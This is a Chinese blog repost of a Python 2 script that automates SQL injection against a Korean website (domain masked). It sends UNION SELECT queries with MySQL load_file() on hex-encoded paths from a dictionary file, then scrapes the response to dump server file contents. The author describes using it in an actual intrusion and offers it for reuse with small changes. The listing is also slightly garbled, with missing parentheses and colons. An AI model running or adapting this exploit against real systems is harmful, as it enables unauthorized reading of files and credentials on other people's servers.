Python in Hacking[LO

发布时间:2019-09-08 09:13:28编辑:auto阅读(1941)

    Pnig0s p.s: ***一韩国站,遭遇Mysql4,好在有FILE权限只能批量LOAD_FILE路径,为了避免繁重的工作量写了这个脚本,字典文件名为dic.txt路径一行一个,因为环境不同,此脚本并非通用,稍作改动即可。复制代码请务必在普通IE下复制

     

    1. #!/usr/bin/python 
    2. # -*- coding:utf-8 -*- 
    3. ######################################## 
    4. #          Coder:Pnig0s1992 
    5. # A script to auto use the LOAD_FILE()  
    6. #      GTalk:pnigos70@gmail.com  
    7. #Blog:http://pnig0s1992.blog.51cto.com/ 
    8. # 
    9. ######################################## 
    10. import urllib 
    11. import binascii 
    12. import string 
    13. import os 
    14. def guessPath(): 
    15.     fi = open('dic.txt','r+'
    16.     while True
    17.         path = fi.readline().strip() 
    18.         if path: 
    19.             url = 'http://www.xxx.co.kr/?mode=view&no=\ 
    20.             1151 AnD 1=2 UnIon SeleCt 1,2,3,4,5,load_file(0x'+binascii.b2a_hex(str(path))+')' 
    21.             EnUrl=urllib.quote_plus(url,safe=':\'/?&=()|'
    22.             fd = urllib.urlopen(EnUrl) 
    23.             res = fd.read() 
    24.             Begin = res.rfind('<table width="450" border="0" cellspacing="0" cellpadding="0">'
    25.             End = res.rfind('<table width="486" border="0" cellspacing="0" cellpadding="0">'
    26.             tempDate = res[Begin:End] 
    27.             realBegin = tempDate.index('<td>')+4 
    28.             realEnd = tempDate.index('</td>'
    29.             checkEmpty = tempDate[realBegin:realEnd].strip() 
    30.             if checkEmpty: 
    31.                 print path+' is exists!!!!!!!!!!!' 
    32.                 print 'Geting the data......' 
    33.                 print checkEmpty 
    34.                 os.system('pause'
    35.             else
    36.                 print path+' is not exists.' 
    37.                 continue 
    38.         else
    39.             print 'All has finished...' 
    40.             break 
    41.  
    42. if __name__ == '__main__'
    43.     print '__________Written by Pnig0s1992__________' 
    44.     guessPath() 

     

     

     

     

关键字